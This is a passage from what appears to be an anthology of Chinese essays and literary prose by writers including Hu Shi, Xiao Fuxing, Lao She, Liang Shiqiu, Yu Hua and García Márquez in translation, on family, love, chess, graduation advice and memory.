　　身为女子，你不要对这样的不平等安之若素。你可以发出声音。说了和没有说，在暂时的结果上可能是一样的，但长远的感受和影响是不一样的，对你性格的发展是不一样的。而且，只要你不断地说下去，事情也许就会有变化。记住，发出声音永远是有用的，因为它们可能会被听到并引发改变。

　　说实话，让一个受到忽视的女孩子，很小就发出对于自己不公平待遇的呐喊，几乎是不可能的。但我思索再三，还是决定保留这个期望。因为今天的女孩，也可能变成明天的母亲。如若她们因循守旧，照样端起了不平等的衣钵，如若她们的女儿发出呼声，也许能触动她们内在的记忆，事情就有可能发生变化。当然了，如果女孩子长大了，到了公共场合，这一条就更要记住并择机实施。

　　记住，呐喊是必需的，就算这一辈子无人听见，回声也将激荡久远。

荔枝

肖复兴

　　我第一次吃荔枝，是 28 岁的时候。那是十几年前，我刚从北大荒回到北京，家中只有孤零零的老母。站在荔枝摊前，脚挪不动步。那时，北京很少见到这种南国水果，时令一过，不消几日，再想买就买不到了。想想活到 28 岁，居然没有尝过荔枝的滋味，再想想母亲快 70 岁的人了，也从来没有吃过荔枝呢！虽然一斤要好几元，挺贵的，咬咬牙，还是掏出钱买上一斤。那时，我刚在郊区谋上中学老师的职，衣袋里正有当月 42 元半的工资，硬邦邦的，鼓起几分股气。我想让母亲尝尝鲜，她一定会高兴的。

　　回到家，还没容我从书包里掏出荔枝，母亲先端出一盘沙果。这是一种比海棠大不了多少的小果子，居然每个都长着疤，有的还烂了皮，只是让母亲—一剜去了疤，洗得干干净净。每个沙果都显得晶光透亮，沾着晶莹的水珠，果皮上红的纹络显得格外清晰。不知老人家洗了几遍才洗成这般模样。我知道这一定是母亲买的处理水果，每斤顶多 5 分或者 l 角。居家过日子，老人就这样一辈子过来了。不知怎么搞的，我一时竟不敢掏出荔枝，生怕母亲骂我大手大脚，毕竟这是那一年里我买的最昂贵的东西了。

　　我拿了一个沙果塞进嘴里，连声说真好吃，又明知故问多少钱一斤，然后不住口说真便宜——其实，母亲知道那是我在安慰她而已，但这样的把戏每次依然让她高兴。趁着她高兴的劲儿，我掏出荔枝：“妈！今儿我给您也买了好东西。”母亲一见荔枝，脸立刻沉了下来：“你财主了怎么着？这么贵的东西，你……”我打断母亲的话：“这么贵的东西，不兴咱们尝尝鲜！”母亲扑啼一声笑了，筋脉突兀的手不停地抚摸着荔枝，然后用小拇指甲盖划破荔枝皮，小心翼翼地剥开皮又不让皮掉下，手心托着荔枝，像是托着一只刚刚啄破蛋壳的小鸡，那样爱怜地望着舍不得吞下，嘴里不住地对我说：“你说它是怎么长的？怎么红皮里就长着这么白的肉？”毕竟是第一次吃，毕竟是好吃！母亲竟像孩子一样高兴。

　　那一晚，正巧有位老师带着几个学生突然到我家做客，望着桌上这两盘水果有些奇怪。也是，一盘沙果伤痕累累，一盘荔枝玲挑剔透，对比过于鲜明。说实话，自尊心与虚荣心齐头并进，我觉得自己仿佛是那盘丑小鸭般的沙果，真恨不得变戏法一样把它一下子变走。母亲端上茶来，笑吟吟顺手把沙果端走，那般不经意，然后回过头对客人说：“快尝尝荔枝吧！”说得那般自然、妥帖。

　　母亲很喜欢吃荔枝，但是她舍不得吃，每次都把大个的荔枝给我吃。以后每年的夏天，不管荔枝多贵，我总要买上一两斤，让母亲尝尝鲜。荔枝成了我家一年一度的保留节目，一直延续到三年前母亲去世。

　　母亲去世前是夏天，正赶上荔枝刚上市。我买了好多新鲜的荔枝，皮薄核小，鲜红的皮一剥掉，白中泛青的肉蒙着一层细细的水珠，仿佛跑了多远的路，累得张着一张张汗津津的小脸。是啊，它们整整跑了一年的长路，才又和我们阔别重逢。我感到慰藉的是，母亲临终前一天还吃到了水灵灵的荔枝，我一直认为是天命，是母亲善良忠厚一生的报偿如果荔枝晚几天上市，我迟几天才买，那该是何等的遗憾，会让我产生多少无法弥补的痛楚。

　　其实，我错了。自从家里添了小孙子，母亲便把原来给儿子的爱分给孙子一部分。我忽略了身旁小馋猫的存在，他再不用熬到 28 岁才能尝到荔枝，他还不懂得什么叫珍贵，什么叫舍不得，只知道想吃便张开嘴巴。母亲去世很久，我才知道母亲临终前一直舍不得吃一颗荔枝，都给了她心爱的太馋嘴的小孙子吃了。

　　而今，荔枝依旧年年红。

赠与今年的大学毕业生

胡适

　　这一两个星期里，各地的大学都有毕业的班次，都有很多的毕业生离开学校去开始他们的成人事业。学生的生活是一种享有特殊优待的生活，不妨幼稚一点，不妨吵吵闹闹，社会都能纵容他们，不肯严格的要他们负行为的责任。现在他们要撑起自己的肩膀来挑他们自己的担子了。在这个国难最紧急的年头，他们的担子真不轻！我们祝他们的成功，同时也不忍不依据我们自己的经验，赠与他们几句送行的赠言——虽未必是救命毫毛，也许作个防身的锦囊罢！

　　你们毕业之后，可走的路不出这几条：绝少数的人还可以在国内或国外的研究院继续作学术研究；少数的人可以寻着相当的职业；此外还有做官，办党，革命三条路；此外就是在家享福或者失业闲居了。第一条继续求学之路，我们可以不讨论。走其余几条路的人，都不能没有堕落的危险。堕落的方式很多，总括起来，约有这两大类：

　　第一是容易抛弃学生时代的求知识的欲望。你们到了实际社会里，往往所用非所学，往往所学全无用处，往往可以完全用不着学问，而一样可以胡乱混饭吃，混官做。在这种环境里，即使向来抱有求知识学问的决心的人，也不免心灰意懒，把求知的欲望渐渐冷淡下去。况且学问是要有相当的设备的；书籍，试验室，师友的切磋指导，闲暇的工夫，都不是一个平常要糊口养家的人所能容易办到的。没有做学问的环境，又谁能怪我们抛弃学问呢？

　　第二是容易抛弃学生时代的理想的人生的追求。少年人初次与冷酷的社会接触，容易感觉理想与事实相去太远，容易发生悲观和失望。多年怀抱的人生理想，改造的热诚，奋斗的勇气，到此时候，好像全不是那么一回事。渺小的个人在那强烈的社会炉火里，往往经不起长时期的烤炼就镕化了，一点高尚的理想不久就幻灭了。抱着改造社会的梦想而来，往往是弃甲曳兵而走，或者做了恶势力的俘虏。你在那俘虏牢狱里，回想那少年气壮时代的种种理想主义，好像都成了自误误人的迷梦！从此以后，你就甘心放弃理想人生的追求，甘心做现成社会的顺民了。

　　要防御这两方面的堕落，一面要保持我们求知识的欲望，一面要保持我们对于理想人生的追求。有什么好法子呢？依我个人的观察和经验，有三种防身的药方是值得一试的。

　　第一个方子只有一句话：“总得时时寻一两个值得研究的问题！”问题是知识学问的老祖宗；古今来一切知识的产生与积聚，都是因为要解答问题，——要解答实用上的困难或理论上的疑难。所谓“为知识而求知识”，其实也只是一种好奇心追求某种问题的解答，不过因为那种问题的性质不必是直接应用的，人们就觉得这是“无所为”的求知识了。我们出学校之后，离开了做学问的环境，如果没有一个两个值得解答的疑难问题在脑子里盘旋，就很难继续保持追求学问的热心。可是，如果你有了一个真有趣的问题天天逗你去想他，天天引诱你去解决他，天天对你挑衅笑你无可奈他，——这时候，你就会同恋爱一个女子发了疯一样，坐也坐不下，睡也睡不安，没工夫也得偷出工夫去陪她，没钱也得撙衣节食去巴结她。没有书，你自会变卖家私去买书；没有仪器，你自会典押衣服去置办仪器；没有师友，你自会不远千里去寻师访友。你只要能时时有疑难问题来逼你用脑子，你自然会保持发展你对学问的兴趣，即使在最贫乏的智识环境中，你也会慢慢的聚起一个小图书馆来，或者设置起一所小试验室来。所以我说：第一要寻问题，脑子里没有问题之日，就是你的智识生活寿终正寝之时！古人说，“待文王而兴者，凡民也。若夫豪杰之士，虽无文王犹兴。”试想葛理略（Galieo）和牛敦(Newton)有多少藏书？有多少仪器？他们不过是有问题而已。有了问题而后，他们自会造出仪器来解答他们的问题。没有问题的人们，关在图书馆里也不会用书，锁在试验室里也不会有什么发现。

　　第二个方子也只有一句话：“总得多发展一点非职业的兴趣。”离开学校之后，大家总得寻个吃饭的职业。可是你寻得的职业未必就是你所学的，或者未必是你所心喜的，或者是你所学而实在和你的性情不想近的。在这种状况之下，工作就往往成了苦工，就不感觉兴趣了。为糊口而作那种非“性之所近而力之所能勉”的工作，就很难保持求知的兴趣和生活的理想主义。最好的救济方法只有多多发展职业以外的正当兴趣与活动。一个人应该有他的职业，又应该有他的非职业的顽艺儿，可以叫做业余活动。凡一个人用他的闲暇来做的事业，都是他的业余活动。往往他的业余活动比他的职业还更重要，因为一个人的前程往往会靠他怎样用他的闲暇时间。他用他的闲暇来打马将，他就成个赌徒；你用你的闲暇来做社会服务，你也许成个社会改革者；或者你用你的闲暇去研究历史，你也许成个史学家。你的闲暇往往定你的终身。英国十九世纪的两个哲人，弥儿（J.S.Mill）终身做东印度公司的秘书，然而他的业余工作使他在哲学上，经济学上，政治思想史上都占一个很高的位置；斯宾塞（Spencer）是一个测量工程师，然而他的业余工作使他成为前世纪晚期世界思想界的一个重镇。古来成大学问的人，几乎没有一个不是善用他的闲暇时间的。特别在这个组织不健全的中国社会，职业不容易适合我们性情，我们要想生活不苦痛或不堕落，只有多方发展业余的兴趣，使我们的精神有所寄托，使我们的剩余精力有所施展。有了这种心爱的顽艺儿，你就做六个钟头的抹桌子工夫也不会感觉烦闷了，因为你知道，抹了六点钟的桌子之后，你可以回家去做你的化学研究，或画完你的大幅山水，或写你的小说戏曲，或继续你的历史考据，或做你的社会改革事业。你有了这种称心如意的活动，生活就不枯寂了，精神也就不会烦闷了。

　　第三个方子也只有一句话：“你总得有一点信心。”我们生当这个不幸的时代，眼中所见，耳中所闻，无非是叫我们悲观失望的。特别是在这个年头毕业的你们，眼见自己的国家民族沉沦到这步田地，眼看世界只是强权的世界，望极天边好像看不见一线的光明，——在这个年头不发狂自杀，已算是万幸了，怎么还能够希望保持一点内心的镇定和理想的信心呢？我要对你们说：这时候正是我们培养我们的信心的时候！只要我们有信心，我们还有救。古人说：“信心（Faith）可以移山。”又说：“只要工夫深，生铁磨成绣花针。”你不信吗？当拿破仑的军队征服普鲁士占据柏林的时候，有一位穷教授叫做菲希特（Fichte）的，天天在讲堂上劝他的国人要有信心，要信仰他们的民族是有世界的特殊使命的，是必定要复兴的。菲希特死的时候（1814），谁也不能预料德意志统一帝国何时可以实现。然而不满五十年，新的统一的德意志帝国居然实现了。

　　一个国家的强弱盛衰，都不是偶然的，都不能逃出因果的铁律的。我们今日所受的苦痛和耻辱，都只是过去种种恶因种下的恶果。我们要收将来的善果，必须努力种现在的新因。一粒一粒的种，必有满仓满屋的收，这是我们今日应该有的信心。

　　我们要深信：今日的失败，都由于过去的不努力。

　　我们要深信：今日的努力，必定有将来的大收成

　　佛典里有一句话：“福不唐捐。”唐捐就是白白的丢了，我们也应该说：“功不唐捐！”没有一点努力是会白白的丢了的。在我们看不见想不到的时候，在我们看不见想不到的方向，你瞧！你下的种子早已生根发叶开花结果了！

　　你不信吗？法国被普鲁士打败之后，割了两省地，赔了五十万万佛郎的赔款。这时候有一位刻苦的科学家巴斯德（Pasteur）终日埋头在他的试验室里做他的化学试验和微菌学研究。他是一个最爱国的人，然而他深信只有科学可以救国。他用一生的精力证明了三个科学问题：（1）每一种发酵作用都是由于一种微菌的发展；（2）每一种传染病都是由于一种微菌在生物体中的发展；（3）传染病的微菌，在特殊的培养之下，可以减轻毒力，使它从病菌变成防病的药苗。——这三个问题，在表面上似乎都和救国大事业没有多大的关系。然而从第一个问题的证明，巴斯德定出做醋酿酒的新法，使全国的酒醋业每年减除极大的损失。从第二个问题的证明，巴斯德教全国的蚕丝业怎样选种防病，教全国的畜牧农家怎样防止牛羊瘟疫，又教全世界的医学界怎样注重消毒以减除外科手术的死亡率。从第三个问题的证明，巴斯德发明了牲畜的脾热瘟的疗治药苗，每年替法国农家灭除了二千万佛郎的大损失；又发明了疯狗咬毒的治疗法，救济了无数的生命。所以英国的科学家赫胥黎（Huxley）在皇家学会里称颂巴斯德的功绩道：“法国给了德国五十万万佛郎的赔款，巴斯德先生一个人研究科学的成绩足够还清这一笔赔款了。”

　　巴斯德对于科学有绝大的信心，所以他在国家蒙奇辱大难的时候，终不肯抛弃他的显微镜与试验室。他绝不想他的显微镜底下能偿还五十万万佛郎的赔款，然而在他看不见想不到的时候，他已收获了科学救国的奇迹了。

　　朋友们，在你最悲观最失望的时候，那正是你必须鼓起坚强的信心的时候。你要深信：天下没有白费的努力。成功不必在我，而功力必不唐捐。

　　（二十一，六，二十七夜）

男人爱女人的最好方式

希区柯克

　　他们初次相遇时，他只是一个字幕设计师，尽管读完剧本后他的脑海中便会出现整部电影，但没有人重视他。而成绩优秀的她因为患上舞蹈症被迫放弃学业，成了电影公司的剪辑师。他只比她大一天，而她在拍电影方面的知识比他多得多。

　　她第一次引起他的注意，是因为她咯咯的笑声和别致的红头发。

　　那时的她漂亮热情，是一个善于交际、特别有吸引力的女孩。尽管他对她一见钟情，可是，他觉得马上就向她示爱并不合适，他自卑而害羞。一个男人在长相上不如意，就只能靠事业来弥补自己的不足，他决定等自己成为副导演后再去追求她。

　　他和她交往的方式非常不浪漫，她认识他后不久就失业了，他是以提供工作机会的方式接近她并向她求爱的。

　　婚后，他们有永远说不完的话题，他觉得他们的婚姻本身就像一部电影。

　　他一次次把自己的作品推向成功的巅峰，但她知道，无论他在事业上取得多么大的成就，在内心深处，他始终是一个不安的害怕黑暗的孩子。

　　他对黑暗的恐惧来自童年时期。他是一个蔬果商家里最小的孩子，父亲经营的那类商品容易腐烂的特质经常令他感到不安。在他很小的时候，有一天晚上，他一个人在黑暗中醒来，整间屋子一片黑暗，他找不到父母，他们出去散步了。此后，对黑暗的厌恶伴随了他一生。

　　他觉得黑暗代表的是一个未知的世界，而他一直喜欢熟悉的事物。他说：“人永远都不可能知道黑暗中有什么东西潜伏着，也不希望知道，看不见的东西才会让你感到害怕。”

　　他不喜欢改变，尤其不喜欢搬家，他觉得那就像在承受一种病痛。她便陪着他，不搬到更大的房于里。

　　他热衷于减肥，为了让他觉得好受一些，她便陪着他一起减肥。他吃什么，她也吃什么，结果他没瘦下来，她却瘦了下来。他曾笑着告诉朋友，他不敢减肥太久，否则他那尊敬的夫人很可能会瘦到完全消失。

　　他们相伴了一生，他最感激最心爱的女人只有她一个。有人说，导演的创作激情缘于对女演员的爱，可她从不怀疑他，也不嫉妒那些金发佳人。她知道，电影一结束，他最想回的地方就是他们的家。当年迈的他们被病痛折磨时，他最难过的是，让她感兴趣的事越来越少，她的虚荣心已经消失了，他很怀念它。他无法想象没有她的生活，他从没想过他会比她后死，这太可怕了。

　　他们最后一次出席公开场合的活动是那次美国电影研究院颁给他终身成就奖的大会。

　　在大会上，他提到四个人：“四个人中的第一位是电影剪辑师，第二位是编剧，第三位是我女儿帕特的母亲，第四位是一直在厨房中展现奇迹的优秀厨师——她们的名字都是阿尔玛·雷维尔。”

　　他伤感地说，这可能是他和她最后一次出席这种场合，可能是他在公众面前向她表示敬意的最后一次机会。

　　所有的人都站了起来，除了他的妻子阿尔玛——多次中风的她，身体早已很虚弱了，这天能来到这儿，完全是依靠她对丈夫的爱。

　　回顾这一生，她说：“在一起那么多年，我的丈夫从未让我觉得无聊，我相信不会有很多女人这么说。”

　　是的，男人爱女人的最好方式，就是不让自己的女人觉得无聊。

八月的鬼怪

加西亚 · 马尔克斯

　　快到中午的时候，我们到达了阿雷索。我们花了两个多小时才找到文艺复兴时期的城堡。它是委内瑞拉作家米格尔·奥特罗·西尔瓦在托斯卡纳原野上那个田园诗般的河曲处购买的。那是在八月初的一个星期天，天气炎热，行人嘈杂，在满是游客的街上，很难找到什么人打听情况。在经过多次徒劳的尝试后，我们已回到汽车上，沿着一条没有路标的意大利柏油小路离开了城市。一个年迈的放鹅妇人正确地指给我们那座城堡在哪里。在告别之前，她问我们是否要在那里过夜，我们像预料到的那样回答她说，我们只是去吃午饭。

　　“这样好些，”她说，“因为那幢房子里闹鬼。”

　　我和妻子不相信中午会有鬼怪，便对她的轻信报以嘲笑。但是我的两个儿子，一个九岁，一个七岁，想到能够有机会见到显形的鬼怪却感到很幸运。

　　米格尔·奥特罗·西尔瓦不仅是位优秀作家，而且是位慷慨的东道主和美食家，他准备好了永远难忘的午餐正在等我们。由于我们姗姗来迟，我们没来得及参观城堡内部就入席用餐了。但是从外表看，它的样子并不可怕，只要从我们进午餐的花儿盛开的花坛那儿看到城堡全貌，任何不安都会烟消云散。很难相信，在那座房舍建在高处的、勉强容纳几千人的小山上，会涌现出那么多有着永久的才智的人。然而，米格尔·奥特罗·西尔瓦却以其加勒比人的幽默对我们说，那些人中没有一个是阿雷索最杰出的。

　　“最伟大的人物，”他断言，“是卢多维科。”

　　就是这样称呼，没有姓氏：卢多维科，伟大的艺术家与军事家，他建造了那座为他带来不幸的城堡。整个吃午饭的时间米格尔都对我们谈论他。他对我们讲述了他的巨大权力、不幸福的爱情和他的可怕死亡。他对我们讲述了在一个精神失常的时刻，他为什么把他的情妇杀死在他们刚刚相爱的床上，后来又唆使他的凶恶的警犬用尖牙利齿把他自己撕碎。他十分严肃地对我们肯定说，从半夜开始，卢多维科的鬼魂就会在黑暗的宅内游荡，要为他遭受的爱情的煎熬寻求平静。

　　实际上，城堡既高大又阴暗。不过，在大白天，酒足饭饱，心情高兴，米格尔的故事像他讲的那许多事件一样只可能是为使朋友们开心而讲的一个笑话。午饭后，我们惊讶地参观了八十二个房间，它们经历过一代代主人所做的各种各样的改变。米格尔把底层楼进行了彻底的修理，请人装修了一间铺着大理石地板的现代卧室，安装了蒸汽浴和物质文化设施，还开辟了我们用午餐的那块鲜花怒放的花坛。二层楼是几百年间最常使用的，那一溜房间却毫无特色，不同时代的家具被听天由命地丢在那里。不过在最高的一层，仍保留着一个原封不动的房间，在那里，时间忘记了流逝。

　　那是一个神奇的时刻。那里摆着一张床，床帷用金线绣成，用金银绦带纺织的奇异床罩由于被杀死的情妇的干燥血液而依然硬如纸板。壁炉里的灰烬已经冰冷，最后一块木柴变成了石头，衣柜里的武器装满了火药，沉思的骑士的油彩画像镶在金框里，是由那个时代没能幸运活下来的佛罗伦萨某位大师画的。不过，给我留下印象最深的是新鲜的草莓香味，它居然不可思议地滞留在卧室的空间里。

　　夏季的白天在托斯卡纳原野上漫长而缓慢，地平线在原地一直停留到晚上九点。我们参观完城堡时已经十点多了。但是米格尔坚持要带我们去圣芳济会教堂看皮耶罗·德拉·弗兰切斯卡的壁画，然后，我们在广场的葡萄架下喝了杯咖啡，进行了愉快的交谈。我们回来取行李时，发现晚餐已经做好，我们只好留下来用餐。

　　我们进晚餐时，在只有一颗星的锦葵色天空下，一些孩子在厨房里点上几个火把，跑到黑暗的楼上去探险。我们在餐桌上听到了他们那种野马般奔跑爬楼梯的声音，以及门扇的呻吟声和在黑暗的房间里呼唤卢多维科的快乐叫喊声。我们留下来过夜的坏主意就是他们想出来的。米格尔·奥特罗·西尔瓦高兴地支持他们的提议。我们没有正当理由对他们说不同意。

　　和我的担心恰恰相反，我们睡得很好：我和我妻子睡在底层一个房间里，我的两个儿子睡隔壁房间。他们两个的思想都是现代的，毫无鬼怪的概念。我一边设法入睡，一边数着客厅里的钟敲打着让人失眠的十二下，同时想起了那个放鹅女人的可怕警告。不过，我们实在是太累了，很快就睡着了，而且睡得很沉，直到天亮。醒来时已经七点多了，灿烂的阳光透过窗口的爬藤植物照射进来。在我身边，我妻子仍在梦中，像清白无辜的人们在平静的海面上航行。“真蠢，”我对自己说，“如今仍然有人相信鬼怪存在。”直到这时，新摘的草莓的香味才使我颤抖了一下。我看到壁炉里的灰烬已经冰凉，最后一块木柴变成了石头，三个世纪以前的愁容骑士的画像从金框上望着我们。原来，我们不是睡在前一天夜里睡的底层的房间里，而是睡在卢多维科的卧室里：飞檐和窗帘挂满灰尘，床单浸透了他那可恶的床上依然热乎乎的鲜血。

拖地

亦舒

　　母亲说，那时在上海请家务助理，上工之前，第一件事，便是叫该人示范拖地。

　　有些工人拖把水淋淋，在地中央略挥舞一下，完事，还得意洋洋，表示快捷妥当，该等帮佣，立刻请他走。

　　有些工人，母亲说，先把椅子全部搁好，绞干地拖，角落缝子，统统精细地抹到，每拖净一块地，必定洗涤地拖，再拖别处，地上杂物，全部顺手拣起放好，然后，再把家具归位。

　　这样才叫及格。

　　每一个女儿都自母亲处承继到一些学问吧，故聘请帮手之际，必请该人拖一拖厨房。

　　当然，这不是他的家，叫他的工夫同主妇比，那是不合实际的，毋需一百分，大个七折不妨。

　　但也不能太马虎，三两个礼拜工夫不到，马上可以看到污垢。

　　以此类推，我们打工的态度也当相似吧，千万别净挂着自己的好处，也要替主人家着想，务必自己过得去，东家也过得去。

　　东家的扫把十分精密，动辄把不及格伙计扫将出门。

哀悼日

余华

　　今天是汶川地震的第一个哀悼日，下午两点二十八分，我住所楼下的街道上人群肃立，车辆排成长龙；我听到喇叭长鸣，还有阵阵汽笛声从电视里呼啸而出。

　　默哀之后，我重读了自己的旧作《夏季台风》。这部小说的写作开始于一九八九年夏天，完成于一九九〇年冬天。

　　仿佛是故友重逢，亲切和陌生之感同时来到。这是一个有关一九七六年唐山地震的小说，故事发生的地点是距离唐山千里之外的南方小镇。就像五月十二日下午汶川地震时，我在千里之外的北京住所也摇晃起来，在住所安静以后，吊灯仍然在摇晃。我想，这就是影响。我在《夏季台风》里抹去了具体的地点，可是里面的感受全部来自于我十六岁时候的浙江海盐。现在我用四十八岁时汶川地震时的感受，重温了十六岁时唐山地震时的感受。影响就是这样，时间不能限制它，空间也不能限制它，它无处不在，而且随时出现。

　　《夏季台风》与其说是一个关于地震的故事，不如说是一个关于对地震恐惧的故事。这个故事唤醒了我很多真实的记忆。一九七六年唐山地震以后，我生活的海盐也发生了一次地震，于是人们纷纷露宿操场、空地和街边，那个夏天人人觉得唐山发生过的地震马上就要在海盐发生了。如同小说里所描写的那样，由于当时信息的闭塞，只能依赖街头传言，唯一权威的声音来自县广播站的广播，可是我们县里广播站预报地震时的依据是来自邻县的广播，昨天刚说没有地震，今天又说有强力地震了。人们被县里的广播来回折腾，这个最具权威的声音到头来成为了最大的谣言中心。这个故事就是表达了这样的状态，人们在精疲力竭之后只剩下昏昏沉沉的状态。

　　哀悼日之后，恐惧和悲伤将会成为记忆。

她那么看过我

老舍

　　人是为明天活着的，因为记忆中有朝阳晓露。假若过去的早晨都似地狱那么黑暗丑恶，盼明天干吗呢？是的，记忆中也有痛苦危险，可是希望会把过去的恐怖裹上一层糖衣，像看着一出悲剧似的，苦中有些甜美。无论怎么说吧，过去的一切都不可移动；实在，所以可靠；明天的渺茫全仗昨天的实在撑持着，新梦是旧事的拆洗缝补。

　　对了，我记得她的眼。她死了好多年了，她的眼还活着，在我的心里。这对眼睛替我看守着爱情。当我忙得忘了许多事，甚至于忘了她：这两只眼会忽然在一朵云中，或一汪水里，或一瓣花上，或一线光中，轻轻地一闪，像归燕的翅儿，只需一闪，我便感到无限的春光。我立刻就回到那梦境中，哪一件小事都凄凉，甜美，如同独自在春月下踏着落花。

　　这双眼所引起的一点爱火，只是极纯的一个小火苗，像心中的一点晚霞，晚霞的结晶。它可以烧明了流水远山，照明了春花秋叶，给海浪一些金光，可是它恰好的也能在我心中，照明了我的泪珠。

　　它们只有两个神情：一个是凝视，极短极快，可是千真万确的是凝视。只微微地一看，就看到我的灵魂，把一切都无声地告诉给了我。凝视，一点也不错，我知道她只需极短极快地一看，看的动作过去了，极快地过去了，可是，她心里看着我呢，不定看多么久呢；我到底得管这叫做凝视，不论它是多么快，多么短。一切的诗文都用不着，这一眼便道尽了“爱”所会说的与所会做的。另一个是眼珠横着一移动，由微笑移动到微笑里去，在处女的尊严中笑出一点点被爱逗出的轻佻，由热情中笑出一点点无法抑制的高兴。

　　我没和她说过一句话，没握过一次手，见面连点头都不点。可是我的一切，她知道，她的一切，我知道。我们用不着看彼此的服装，用不着打听彼此的身世，我们一眼看到一粒珍珠，藏在彼此的心里；这一点点便是我们的一切，那些七零八碎的东西都是配搭，都无须注意。看我一眼，她低着头轻快地走过去，把一点微笑留在她身后的空气中，像太阳落后还留下一些明霞。

　　我们彼此躲避着，同时彼此愿马上搂抱在一处。我们轻轻地哀叹；忽然遇见了，那么凝视一下，登时欢喜起来，身上像减了分量，每一步都走得轻快有力，像要跳起来的样子。

　　我们极愿意说一句话，可是我们很怕交谈，说什么呢？哪一个日常的俗字能道出我们的心事呢？让我们不开口，永不开口吧！我们的对视与微笑是永生的，是完全的，其余的一切都是破碎微弱，不值得一提的。

　　我们分离有许多年了，她还是那么秀美，那么多情。在我的心里，她将永远不老，永远只向我一个人微笑。在我的梦中，我常常看见她，一个甜美的梦是最真实，最纯洁，最完美的。多少人生中的小困苦小折磨使我丧气，使我轻看生命。可是，那个微笑与眼神忽然从哪儿飞来，我想起惟有“人面桃花相映红”方可比拟的一点心情与境界，我忘了困苦，我不再丧气，我恢复了青春；无疑的，我在她的洁白的梦中，必定还是个美少年啊！

　　春在燕的翅上，把春光颤得更明了一些，同样，我的青春在她的眼里，永远使我的血温暖，像土中的一颗籽粒，永远想发出一颗小小的绿芽。一粒小豆那么小的一点爱情，眼珠一移，嘴唇一动，日月都没有了作用，到无论什么时候，我们总是一对刚开开的春花。

　　不要再说什么，不要再说什么！我的烦恼也是香甜的啊，因为她那么看过我。

下棋

梁实秋

　　有一种人我最不喜欢和他下棋，那便是太有涵养的人。杀死他一大块，或是抽了他一个车，他神色自若，不动火，不生气，好象是无关痛痒，使你觉得索然寡味。君子无所争，下棋却是要争的。当你给对方一个严重威胁的时候，对方的头上青筋暴露，黄豆般的汗珠一颗颗地在额上陈列出来，或哭丧着脸作惨笑状，或咕嘟着嘴作吃屎状，或抓耳挠腮，或大叫一声，或长吁短叹，或自怨自艾口中念念有词，或一串串地噎嗝打个不休，或红头涨脸如关公，种种现象，不一而足，这时节你“行有余力”便可以点起一支烟，或啜一碗茶，静静地欣赏对方的苦闷的象征。我想猎人追逐一只野兔的时候，其愉快大概略相仿佛。因此我悟出一点道理，和人下棋的时候，如果有机会使对方受窘，当然无所不用其极，如果被对方所窘，便努力作出不介意状，因为既然不能积极地给对方以苦痛，只好消极地减少对方的乐趣。

　　自古博弈并称，全是属于赌的一类，而且只是比“饱食终日无所用心”略胜一筹而已。不过弈虽小术，亦可以观人，相传有慢性人，见对方走当头炮，便左思右想，不知是跳左边的马好，还是跳右边的马好，想了半个钟头而迟迟不决，急得对方只好拱手认输。是有这样的慢性人，每一着都要考虑，而且是加慢的考虑，我常想这种人如加入龟兔竞赛，也必定可以获胜。也有性急的人，下棋如赛跑，劈劈拍拍，草草了事，这仍旧是饱食终日无所用心的一贯作风。下棋不能无争，争的范围有大有小，有斤斤计较而因小失大者，有不拘小节而眼观全局者，有短兵相接，作生死斗者，有各自为战而旗鼓相当者，有赶尽杀绝一步不让者，有好勇斗狠同归于尽者，有一面下棋一面诮骂者，但最不幸的是争的范围超出了棋盘，而拳足交加。有下象棋者，久而无声音，排闼视之，阒不见人，原来他们是在门后角里扭做一团，一个人骑在另一个人的身上，在他的口里挖车呢。被挖者不敢出声，出声则口张，口张则车被挖回，挖回则必悔棋，悔棋则不得胜，这种认真的态度憨得可爱。我曾见过二人手谈，起先是坐着，神情潇洒，望之如神仙中人，俄而棋势吃紧，两人都站起来了，剑拔弩张，如斗鹌鹑，最后到了生死关头，两个人跳到桌子上去了！

　　笠翁《闲情偶寄》说弈棋不如观棋，因观者无得失心，观棋是有趣的事，如看斗牛、斗鸡、斗蟋蟀一般，但是观棋也有难过处，观棋不语是一种痛苦。喉间硬是痒得出奇，思一吐为快。看见一个人要入陷阱而不作声是几乎不可能的事，如果说得中肯，其中一个人要厌恨你，暗暗地骂你一声“多嘴驴！”另一个人也不感激你，心想“难道我还不晓得这样走！”如果说得不中肯，两个人要一齐嗤之以鼻，“无见识奴！”如果根本不说，憋在心里，受病。所以有人于挨了一个耳光之后还要抚着热辣辣的嘴巴大呼“要抽车，要抽车！”

　　下棋只是为了消遣，其所以能使这样多人嗜此不疲者，是因为它颇合人类好斗的本能，这是一种“斗智不斗力”的游戏。所以瓜棚豆架之下，与世无争的村夫野老不免一枰相对，消此永昼；闹市茶寮之中，常有有闲阶级的人士下棋消遣，“不为无益之事，何以遣此有涯之生？”宦海里翻过身最后退隐东山的大人先生们，髀肉复生，而英雄无用武之地，也只好闲来对弈，了此残生，下棋全是“剩余精力”的发泄。人总是要斗的，总是要钩心斗角地和人争逐的。与其和人争权夺利，还不如在棋盘上抽上一车。宋人笔记曾载有一段故事：“李讷仆射，性卞急，酷好弈棋，每下子安祥，极于宽缓，往往躁怒作，家人辈则密以弈具陈于前，讷赌，便忻然改容，以取其子布弄，都忘其恚矣。”（南部新书）。下棋，有没有这样陶冶性情之功，我不敢说，不过有人下起棋来确实是把性命都可置诸度外。我有两个朋友下棋，警报作，不动声色，俄而弹落，棋子被震得在盘上跳荡，屋瓦乱飞，其中棋瘾较小者变色而起，被对方一把拉住：“你走！那就算是你输了。”此公深得棋中之趣。

父母是有效期的

龙应台

　　最近去拜访了朋友，当我们都坐在朋友家的后院吃东西聊天时，他们的大女儿回家了。大女儿今年 18 岁，已经不住在家里了。她跟着她的同居男友一起走了进来，两个人手上都各有一支烟。穿着很新潮，露着小肚子，后面露出腰的部分还有一个刺青。那个男孩子的手腕跟手臂上也有刺青。两个人互相窃窃私语，有说有笑，但是对外人都露出很不屑的眼神。

　　这让我蛮感慨的，我突然领悟到一件事，那就是其实父母跟食物一样，都是有有效限期的。

　　我第一次见到这个外国女孩时，她才 8 岁。10 年前我去她家时，她可以在短短时间内，把我送的一瓶清酒上的字和图，都一模一样地画出来。我好惊讶，自从那次以后，我经常怂恿她的父母带她去拜师学艺，但是他们永远都可以找出一大堆不是理由的理由来搪塞我。奇怪的是她的父母一面搪塞我，却又一面跟我炫耀她女儿最近又画了什么。突然惊觉 10 年过得好快，好像才昨天的事情，现在已经是 10 年后了。我不认为她的父母现在有资格去批评他们的女儿，因为一直以来，她的父母只顾着自己，从没重视过她的教育问题。现在才想教育已经不可能了，理由很简单，那就是因为父母的教育功效已经过期了。而且她的父母在有效限期内也没努力过。

